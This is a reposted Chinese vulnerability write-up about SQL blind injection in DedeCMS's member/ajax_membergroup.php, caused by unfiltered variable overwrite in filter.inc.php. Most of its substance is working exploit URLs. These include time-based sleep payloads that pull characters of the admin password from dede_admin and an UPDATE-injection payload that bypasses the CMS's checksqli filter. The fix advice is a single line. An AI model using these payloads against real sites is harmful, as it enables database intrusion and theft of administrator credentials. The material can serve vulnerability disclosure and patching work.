

dedecms SQL盲注漏洞（已经确定可以直接update出密码）

语音阅读

2014-02-17 19:25

漏洞处在ROOT_PATH/member/ajax_membergroup.php的53、54行
\$mdescription变量是可控的，并且没有任何过滤，为什么？接下里继续看

再看第一行
包含了ROOT_PATH/member/config.php

然后跟着

ROOT_PATH/member/config.php

第10行，包含了ROOT_PATH/include/filter.inc.php

接着来到filter.inc.php

首先这里有个典型的变量覆盖，并且会遍历里面对其进行过滤

来看看过滤函数

\$cfg_notallowstr是什么

来看看

为空

那么这是干什么的，这个函数是用来过滤敏感词的，比如各种和谐。

意思就是在filter.inc.php里面发生了变量覆盖并且没有任何过滤。

然后ROOT_PATH/member/config.php包含了filter.inc.php。

ROOT_PATH/member/ajax_membergroup.php又去包含了ROOT_PATH/member/config.php

通过覆盖\$mdescription

我们可以任意控制sql语句
漏洞证明：
首先要能注册

EXP

http://127.0.0.1/dede/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=asd' where id=@'' or(select if(substring((select
pwd from dede_admin),1,1)=',sleep(5,0)) -- - @''

http://127.0.0.1/dede/member/ajax_membergroup.php?

黑帝公告

♥十年经营、持续更新、精选优质黑客
技术文章的Hackdig，帮你成为掌握黑客
技术的英雄♥

Select Language

Powered by Google Translate

帮助我们持续运营

随机推荐

NortonLifeLock3.6亿美元收购Avira
俄罗斯黑客挥挥金手指，近3000快递柜
门乖乖弹开
智能合约安全系列文章之反编译篇
奇安信成为中国密码学会常务理事单位
副总裁刘川意当选常务理事
漏洞情报 | Apache Struts远程代码执行
漏洞
OMIGOD：CVE-2021-38647 OMI远程
代码执行漏洞分析
改进版的Mekotio银行木马卷土重来
犯罪分子利用Proofpoint进行攻击
最具攻击性的勒索软件组织Conti
我的云服务器被植入挖矿木马，CPU
飙升 200%

标签云

安全[14469] 漏洞[14316] 攻击[5440] 网
络[5099] 网络安全[4811] 注入[3812] 黑
客[3291] CVE[2134] 勒索[2024] 云
[1940] 分析[1694] xss[1506] 数据安全
[1458] 美国[1457] 泄露[1412] 渗透
[1389] 执行[1186] 加密[1145]
windows[1052] 远程[1051] 恶意软件
[1043] linux[1043] Android[908] 威胁情
报[887] CMS[835] APP[807] 智能[802]
攻防[787] 情报[784] 保护[781] AI[749]
ddos[742] 网络攻击[726] 后门[712] 招聘
[709] 勒索软件[690] 入侵[678] 学习[674]
移动[671] 中国[667] Shell[647] 微软
[639] apt[614] 扫描[612] sql[612] 网安
[583] 渗透测试[573] 提权[551] 钓鱼[548]
0day[547]

action=desshow&mid=1&action=despost&mdescription=asd' where id=@'' or(select if(substring((select 1),1,1)=1',sleep(5),0)) -- - @''

http://127.0.0.1/dede/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=asd' where id=@'' or(select if(substring((select user()),1,1)=1',sleep(5),0)) -- - @''

http://127.0.0.1/dede/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=asd' where id=@'' or(select if(substring((select pwd from dede_admin),1,1)=1',sleep(5),0)) -- - @''

view-source:http://localhost/test/dedecms/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=',funame=char(@'''),description=(select %20user()),funame='

最终成 UPDATE `dede_member_friends` SET `description`=',funame=char(@'''),description=(select user()),funame=" WHERE `fid`='1' AND `mid`='1' 绕过checksqli执行了

修复方案：
filter.inc.php里面做过滤

 赞

1

 踩

知识来源: www.2cto.com/Article/201402/279015.html

阅读:763972 | 评论:0 | 标签:cms 漏洞

想收藏或者和大家分享这篇文章-->复制链接地址

“dedecms SQL盲注漏洞（已经确定可以直接update出密码）”共有0条留言

发表评论

姓名:
邮箱:
网址:
验证码: 27减加77是5

提交评论